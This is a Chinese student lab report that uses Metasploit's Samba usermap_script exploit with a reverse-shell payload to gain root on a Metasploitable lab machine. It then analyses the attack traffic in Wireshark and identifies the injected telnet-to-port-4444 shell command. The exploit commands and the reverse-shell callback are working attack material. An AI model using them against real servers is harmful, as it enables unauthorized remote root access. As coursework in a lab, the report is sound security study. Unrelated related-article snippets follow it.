20232810 2023-2024-2 《网络攻防实践》实验七

news/2024/11/13 7:27:24/

一、实践内容

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

二、实践过程

2.1 使用Metasploit进行Linux远程渗透攻击

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击; ⑥查看是否正确得到远程Shell,并查看获得的权限。


(1)首先通过输入 sudo msfconsole 指令进入操作台。
在这里插入图片描述
(2)通过 search usermap_script 查找漏洞信息,然后通过 use exploit/multi/samba/usermap_script 使用相关攻击脚本,使用 show payloads查看payload类型。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(3)使用set payload cmd/unix/reverse选择攻击PAYLOAD,反向连接。然后分别使用 set LHOST 192.168.200.6 (kali)set RHOST 192.168.200.125(Metasploitable_Linux) 进行表示攻击机IP地址和靶机IP地址设置。设置完成后,使用 exploit 进行攻击。
在这里插入图片描述
(4)攻击完成后,根据提示操作得到远程shell,并且使用ifconfig查询靶机IP,靶机IP成功获取。通过和靶机ifconfig查询结果对比,IP均为192.168.200.125,表明攻击成功。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(5)通过who am i查询,发现已经获得了root权限,而靶机仍然是非root账号登录,这表明提权成功。
在这里插入图片描述

2.2 攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

攻击方IP:192.168.200.6
防守方IP:192.168.200.125
在这里插入图片描述
(1)通过对Wireshark抓包分析,我们可以得到攻击者IP为192.168.200.6,目标IP为192.168.200.125,目标端口为139。经过查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞。攻击发起时间是从ARP协议的询问开始。
在这里插入图片描述
(2)从第一个SMB数据包中找到shellcode如图所示。其中,nohup是no hang up的缩写,就是不挂断的意思,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系;telnet 192.168.200.7 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,是shell的解释器。
在这里插入图片描述
(3)再通过进一步的tcp流分析,我们可以看到成功之后在本地执行命令的信息。
在这里插入图片描述

三、学习中遇到的问题及解决

在第一部分实验中创建目录时,忘记查询公积金机在创建前的结果了。

四、学习感想和体会

通过这次实验学习了Linux远程渗透攻击,对Linux操作系统安全机制等有了进一步了解。

五、参考资料

https://blog.csdn.net/weixin_51457231/article/details/138424463?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22138424463%22%2C%22source%22%3A%22weixin_51457231%22%7D
https://www.cnblogs.com/ql5199/p/16189367.html


http://www.ppmy.cn/news/1451299.html

相关文章

串的模式匹配之BF算法实现

概述 BF算法-暴力枚举 匹配失败处理 匹配成功结束 算法思想 代码实现 定义串的存储结构:装字符的ch数组标记长度的length 最坏时间复杂度分析 代码整合

OpenVoice——强大的语音克隆与生成技术

OpenVoice 是一款由 MyShell TTS 开发的令人惊叹的技术。它只需一小段参考发言者的音频片段,就能精确复制其声音,并能够生成多种语言的语音。 其主要功能包括准确的音色克隆,能够精确地克隆参考音色,并在多种语言和口音中生成语音…

k8sCICD

k8s&&CICD 配置文件数据库网络 配置文件 服务的配置文件属于有状态信息,而服务本身属于无状态,因此我决定将服务源码与配置文件分开存放。 jenkins流水线步骤: 开发人员与运维人员配合更新配置文件仓库(Dockerfile、yam…

android init进程启动流程

Android系统完整的启动流程 android 系统架构图 init进程的启动流程 init进程启动服务的顺序 bool Service::Start() {// Starting a service removes it from the disabled or reset state and// immediately takes it out of the restarting state if it was in there.flags_…

前端初学者的 CSS 入门

文章导读:AI 辅助学习前端,包含入门、进阶、高级部分前端系列内容,当前是 CSS 的部分,瑶琴会持续更新,适合零基础的朋友,已有前端工作经验的可以不看,也可以当作基础知识回顾。 从这篇文章开始…

Linux 第十三章

🐶博主主页:ᰔᩚ. 一怀明月ꦿ ❤️‍🔥专栏系列:线性代数,C初学者入门训练,题解C,C的使用文章,「初学」C,linux 🔥座右铭:“不要等到什么都没有了…

opencv t函数

在OpenCV中&#xff0c;t函数通常用于转置矩阵&#xff08;Transpose&#xff09;。这意味着矩阵的行和列互换位置。 在C中&#xff0c;使用OpenCV库进行矩阵转置的代码如下所示&#xff1a; #include <opencv2/opencv.hpp> #include <iostream>int main() {// 创…

算法学习Day1——【数据结构】单调栈

1.什么是单调栈以及单调栈的作用 &#xff08;1&#xff09;定义 顾名思义&#xff0c;单调栈是一个有序的栈&#xff0c;可能从栈顶到栈底单调递增&#xff08;单调递增栈&#xff09;&#xff0c;也有可能从栈顶到栈底单调递减&#xff08;单调递减栈&#xff09;。 &…